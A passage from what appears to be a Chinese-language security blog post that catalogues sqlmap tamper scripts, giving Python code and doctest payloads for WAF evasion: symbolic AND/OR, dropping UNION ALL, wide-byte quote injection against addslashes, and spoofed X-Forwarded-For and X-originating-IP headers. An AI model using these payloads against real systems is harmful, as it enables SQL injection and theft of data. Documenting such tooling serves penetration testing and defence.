    Replaces AND and OR logical operators with their symbolic counterparts (&& and ||)
    >>> tamper("1 AND '1'='1")
    "1 %26%26 '1'='1"
    """

    retVal = payload

    if payload:
        retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload))

    return retVal

36.unionalltounion 该插件主要是替换掉union all select 里面的all

def tamper(payload, **kwargs):
    """
    Replaces UNION ALL SELECT with UNION SELECT
    >>> tamper('-1 UNION ALL SELECT')
    '-1 UNION SELECT'
    """

    return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload

37.unmagicquotes  主要用在宽字节注入,绕过magic_quotes/addslashes

def tamper(payload, **kwargs):
    """
    Replaces quote character (') with a multi-byte combo %bf%27 together with
    generic comment at the end (to make it work)
    Notes:
        * Useful for bypassing magic_quotes/addslashes feature
    Reference:
        * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
    >>> tamper("1' AND 1=1")
    '1%bf%27-- '
    """

    retVal = payload

    if payload:
        found = False
        retVal = ""

        for i in xrange(len(payload)):
            if payload[i] == '\'' and not found:
                retVal += "%bf%27"
                found = True
            else:
                retVal += payload[i]
                continue

        if found:
            _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
            if _ != retVal:
                retVal = _
                retVal += "-- "
            elif not any(_ in retVal for _ in ('#', '--', '/*')):
                retVal += "-- "
    return retVal

38.varnish  主要是用于X-originating-IP可以绕过部分认证

def tamper(payload, **kwargs):
    """
    Append a HTTP header 'X-originating-IP' to bypass
    WAF Protection of Varnish Firewall
    Notes:
        Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366
        Examples:
        >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)
        >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X)
        >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)
        >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)
        >> X-remote-IP: * or %00 or %0A
    """

    headers = kwargs.get("headers", {})
    headers["X-originating-IP"] = "127.0.0.1"
    return payload

39.versionedmorekeywords  该插件主要是在mysql敏感词两旁加/*!%s*/

tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')
    '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
    """

    def process(match):
        word = match.group('word')
        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, "/*!%s*/" % word)
        else:
            return match.group()

    retVal = payload

    if payload:
        retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
        retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")

40.xforwardedfor.py 该插件主要用于随机xforwardedfor

def randomIP():
    numbers = []
    while not numbers or numbers[0] in (10, 172, 192):
        numbers = sample(xrange(1, 255), 4)
    return '.'.join(str(_) for _ in numbers)

def tamper(payload, **kwargs):
    """
    Append a fake HTTP header 'X-Forwarded-For' to bypass
    WAF (usually application based) protection
    """

    headers = kwargs.get("headers", {})
    headers["X-Forwarded-For"] = randomIP()
    return payload
分类
最新文章
最近回复
  • 没穿底裤: hook execve函数
  • tuhao lam: 大佬,还有持续跟进Linux命令执行记录这块吗?通过内核拦截exec系统调用的方式,目前有没有...
  • 纸条: 谢谢,大佬。我要拿去抄作业了!
  • 没穿底裤: 稳定运行了大半年
  • ppx: 兄弟做得咋样了?